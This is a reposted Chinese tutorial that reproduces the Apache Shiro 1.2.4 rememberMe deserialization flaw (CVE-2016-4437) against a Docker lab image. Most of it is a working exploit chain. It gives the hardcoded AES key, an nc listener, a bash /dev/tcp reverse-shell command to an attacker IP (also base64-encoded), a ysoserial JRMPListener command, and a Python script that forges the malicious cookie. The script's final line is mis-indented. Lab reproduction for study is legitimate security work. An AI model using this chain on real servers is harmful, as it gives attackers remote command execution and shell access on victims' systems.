Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)復現


影響版本:

Apache Shiro <= 1.2.4

原因分析:

Apache Shiro默認使用了CookieRememberMeManager,其處理cookie的流程是:得到rememberMe的cookie值 >  Base64解碼–>AES解密–>反序列化。然而AES的密鑰是硬編碼的,就導致了攻擊者可以構造惡意數據造成反序列化的RCE漏洞。

漏洞特征:

shiro反序列化的特征:在返回包的 Set-Cookie 中存在 rememberMe=deleteMe 字段

環境搭建:

安裝docker環境,方法自行百度。

下載鏡像

docker pull medicean/vulapps:s_shiro_1

直接運行鏡像,將docker的8080端口映射到本地的 8080上

docker run -d -p 8080:8080 medicean/vulapps:s_shiro_1

 獲取復現需要用到的ysoserial工具

 若無mvn則自行下載安裝

git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -D skipTests

生成的工具在target/目錄下ysoserial-0.0.6-SNAPSHOT-all.jar文件

 

瀏覽器訪問,出現以下頁面則證明環境搭建成功。

http://目標IP:8080

漏洞利用,在攻擊機上運行nc 監聽1234端口

nc -l -p 1234

反彈shell指令

bash -i >& /dev/tcp/攻擊者IP/1234 0>&1

將指令放到 http://www.jackson-t.ca/runtime-exec-payloads.html 轉換成加密后的指令

 

 

運行指令(通過 ysoserial中的JRMP監聽模塊,監聽 6666 端口並執行反彈shell命令)

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjYxLjEzMy8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}'

 注:

payloads/JRMPClient 是結合 exploit/JRMPListener 使用的;
JRMPListener是ysoserial 工具里的其中一個利用模塊,作用是通過反序列化,開啟當前主機的一個 JRMP Server ,具體的利用過程是,將反序列化數據 發送到 Server 中,然后Server中進行反序列化操作,並開啟指定端口,然后在通過JRMPClient去發送攻擊 payload;
payloads/JRMPClient 生存的 payload 是發送給目標機器的,exploit/JRMPListener 是在自己服務器上使用的。

 

偽造cookie內容

python shiro.py 攻擊者IP:攻擊者監聽的java端口

POC

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])    
print "rememberMe={0}".format(payload.decode())

前台登錄,注意需要勾選Remember Me ,截獲數據包

 使用生成的payload,替換請求中的cookie信息

查看java監聽接口,nc監聽接口並成功執行相關命令。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM